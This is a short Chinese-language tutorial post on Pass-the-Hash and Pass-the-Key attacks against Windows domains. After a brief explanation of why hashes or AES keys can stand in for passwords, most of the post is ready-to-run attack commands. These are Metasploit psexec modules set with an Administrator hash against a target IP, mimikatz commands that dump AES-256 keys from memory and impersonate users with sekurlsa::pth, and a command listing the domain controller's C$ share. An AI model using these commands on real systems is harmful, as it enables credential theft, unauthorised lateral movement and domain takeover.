Pass-The-Hash(Key)
阿新 • • 發佈:2020-07-24
Pass The Hash(Key) 憑據傳遞攻擊
原理
由於在進行認證的時候,是用使用者hash加密時間戳,即使在使用密碼進行登入的情況下,也是先把密碼加密成hash,再進行認證。因此在只有使用者hash,沒有明文密碼的情況下也是可以進行認證的。不管是rubeus還是impacket裡面的相關指令碼都是支援直接使用hash進行認證。其中,如果hash的ntlm hash,然後加密方式是rc4,這種就算做是pass the hash,如果是hash是aes key(使用sekurlsa::ekeys匯出來),就算是pass the key。在很多地方,不支援rc4加密方式的時候,使用pass the key不失為一種好方法。
利用方法
msf
use exploit/windows/smb/psexec_psh
msf5 exploit(windows/smb/psexec_psh) > set rhosts 192.168.1.107
msf5 exploit(windows/smb/psexec_psh) > set smbuser Administrator
exploit(windows/smb/psexec_psh) > set smbpass 31d6cfe0d16ae931b73c59d7e0c089c0:249dbaafa8643e3d2f7c692761ba83e7
或者
use exploit/windows/smb/psexec msf5 exploit(windows/smb/psexec) > set rhosts 192.168.1.107 msf5 exploit(windows/smb/psexec) > set smbpass 31d6cfe0d16ae931b73c59d7e0c089c0:249dbaafa8643e3d2f7c692761ba83e7 msf5 exploit(windows/smb/psexec) > set smbuser Administrator msf5 exploit(windows/smb/psexec) > run
mimikatz
privilege::debug
sekurlsa::pth /user:使用者名稱 /domain:域名 /ntlm:NTLMHash
pass the key
//使用mimikatz抓取AES-256金鑰
privilege::debug
sekurlsa::ekeys
//匯入
privilege::debug
sekurlsa::pth /user:使用者名稱 /domain:域名 /aes256:AES256金鑰
//檢視DC的共享資料夾
dir \\dc\c$